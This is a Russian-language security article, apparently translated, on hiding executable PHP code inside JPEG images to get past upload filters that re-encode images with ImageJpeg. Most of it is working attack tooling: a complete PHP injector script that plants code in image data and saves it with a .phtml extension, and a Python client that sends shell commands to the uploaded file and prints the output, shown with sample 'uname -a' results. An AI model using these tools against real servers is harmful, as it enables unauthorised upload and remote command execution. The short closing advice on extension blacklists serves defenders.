12.05.2015

Сокрытие PHP-кода в изображениях

image

Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов.

Автор: Jimmy Ramsmark

Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов. В частности, предлагалось разрешить загрузку только определенных типов файлов, обрабатывать уже загруженные файлы и т. д.

В процессе той дискуссии были придуманы следующие меры безопасности: запретить загрузку файлов, относящихся к php-скриптам, а затем при помощи ImageJpeg (функция обработки изображений средствами PHP) провести верификацию загруженных изображений. Мне, как разработчику, этот комплекс мер вполне нравится. Если файл не соответствует графическому формату, функция ImageJpeg возвратит false, и загрузка отменится. С другой стороны, даже если злоумышленнику удастся внедрить код в изображение, картинка перед сохранением на диск также будет обработана и изменена функцией ImageJpeg.

Использование только метода «черных списков» - не очень хорошая затея, поскольку исполняемые файлы могут иметь альтернативное расширение. В примере выше, если мы пытаемся запретить загрузку файлов только с расширением php, следует учитывать, что в языке PHP у исполняемого скрипта может быть одно из пяти следующих расширений: php3, .php4, .php5, .phtml и .phps.

После того как в той теме был создан тестовый скрипт с реализацией методов, описанных выше, мне захотелось обойти эту защиту и загрузить исполняемый код внутри картинки на тестовый сервер. Первая идея, которая пришла мне в голову, - подгрузить код через комментарии в exif. Однако после обработки функцией ImageJpeg в заряженном изображении информация в exif оказалась перезаписанной, включая комментарии.

Следующая идея – добавить код напрямую в изображение при помощи шестнадцатеричного редактора так, чтобы картинка выглядела «правильной» для функции ImageJpeg. Основная сложность в реализации этого метода была связана с описанными ранее причинами: после обработки изображения функцией ImageJpeg и записи файла на диск код был поврежден. Картинка практически всегда оказывалась корректной за исключением небольших искажений (по причине моего вмешательства).

После долгих экспериментов мне удалось получить обработанное изображение с работоспособным кодом внутри.


В процессе улучшения метода инжекта кода, убедившись, что изображение искажается не сильно, я написал скрипт, который автоматически добавляет код в картинку. После отработки скрипта и обработки заряженного изображения различными утилитами (в том числе функцией ImageJpeg) код оставался работоспособен. Проводилось даже тестирование на изменение размера картинки, и во многих случаях код также работал (но не всегда).

Ниже показано изображение до инжекта кода:


Следующее изображение (степень искажения зависит от конкретной картинки) уже с инжектированным кодом. Не беспокойтесь, в текущем состоянии код не выполнится.


Ниже представлен скрипт автоматизирующий процесс добавления кода:

ini_set('display_errors', 0);
error_reporting(0);

//File that contains the finished result to be uploaded
$result_file = 'pic.jpg.phtml';

//Original input file
$orig = 'test.jpg';

//Temp filename
$filename = $orig . '_mod.jpg';

//Code to be hidden in the image data
$code = '';

echo "-=Imagejpeg injector 1.6=-\n";

$src = imagecreatefromjpeg($orig);
imagejpeg($src, $filename, 100);
$data = file_get_contents($filename);
$tmpData = array();

echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);

echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
$tmpData = $data;
for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
{
$tmpData[$n] = $code[$z];
}

$src = imagecreatefromstring($tmpData);
imagejpeg($src, $result_file, 100);

if(checkCodeInFile($result_file, $code))
{
unlink($filename);
unlink($result_file);
sleep(1);

file_put_contents($result_file, $tmpData);
echo "[!] Temp solution, if you get a 'recoverable' error here, it means it probably failed\n";

sleep(1);
$src = imagecreatefromjpeg($result_file);

echo "[+] Injection completed successfully\n";
echo "[+] Filename: " . $result_file . "\n";
die();
}
else
{
unlink($result_file);
}
}

echo "[-] Unable to find valid injection point. Try a shorter command or another image\n";

function findStart($str)
{
for($i = 0; $i < strlen($str); ++$i)
{
if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
{
return $i+2;
}
}

return -1;
}

function checkCodeInFile($file, $code)
{
if(file_exists($file))
{
$contents = loadFile($file);
}
else
{
$contents = "0";
}

return strstr($contents, $code);
}

function loadFile($file)
{
$handle = fopen($file, "r");
$buffer = fread($handle, filesize($file));
fclose($handle);

return $buffer;
}

?>

Подводим итоги. После нескольких дней экспериментов мне удалось обойти защиту скрипта и автоматизировать процесс (этапы работы скрипта показаны ниже):

[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml

И в завершении я написал простенький скрипт для пересылки команд файлу после загрузки на сервер, парсинга информации внутри изображения и отображение результатов.

#!/usr/bin/python

import urllib.request
import argparse
import http.client
import urllib.parse
import re

def main():
parser = argparse.ArgumentParser()
parser.add_argument("domain", help="domain to connect to")
parser.add_argument("port", help="port to connect to")
parser.add_argument("path", help="path to the jellyshelly file")
args = parser.parse_args()
domain = args.domain
path = args.path
port = args.port

if(makeTest(domain, path, port)):
cmd = ""
print("Type exit to end session")
while(cmd != "exit"):
cmd = input(" ")

if(cmd.strip() != ''):
makeRequest("echo \"foiwe303t43jd $("+cmd+") foiwe303t43jd\"", domain, port, path)

def makeRequest(cmd, domain, port, path):
lines = cmd.split('\n')

httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()

params = urllib.parse.urlencode({'c': cmd})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}

httpServ.request('POST', path, params, headers)
response = httpServ.getresponse()
response_string = response.read().decode("utf-8", "replace")

if response.status == http.client.OK:
for result in re.findall(r'(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
print(result.strip())
httpServ.close()

def makeTest(domain, path, port):
httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()
httpServ.request('GET', path)
response = httpServ.getresponse()

print(response.status)
return response.status == http.client.OK

if __name__ == "__main__":
main()

uname -a

Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64

Заключение

Как вы могли убедиться, загрузчик файлов легко становится слабым звеном в системе безопасности. Существует множество способов загрузить файл сквозь все ограничения. Особо мотивированный злоумышленник может потратить много времени и часто будет находить способ обхода защитных механизмов. Трюк, показанный в статье, применим не только к PHP, но и другим средам. Конечно, существует несколько хороших методов, в зависимости от конкретной задачи, но эти способы не являются 100%-ной защитой. Кроме того, разработчик в процессе реализации защитных механизмов может допустить элементарную ошибку (классический случай: проверка на расширение .jpg пропускает файлы типа file.jpg.php).

Всем, кто для блокировки файлов пользуется черными списками, следует добавить следующие расширения: .php,.phtml,.php4,.php4,.php5. И не забывайте, что когда-нибудь появится PHP 6.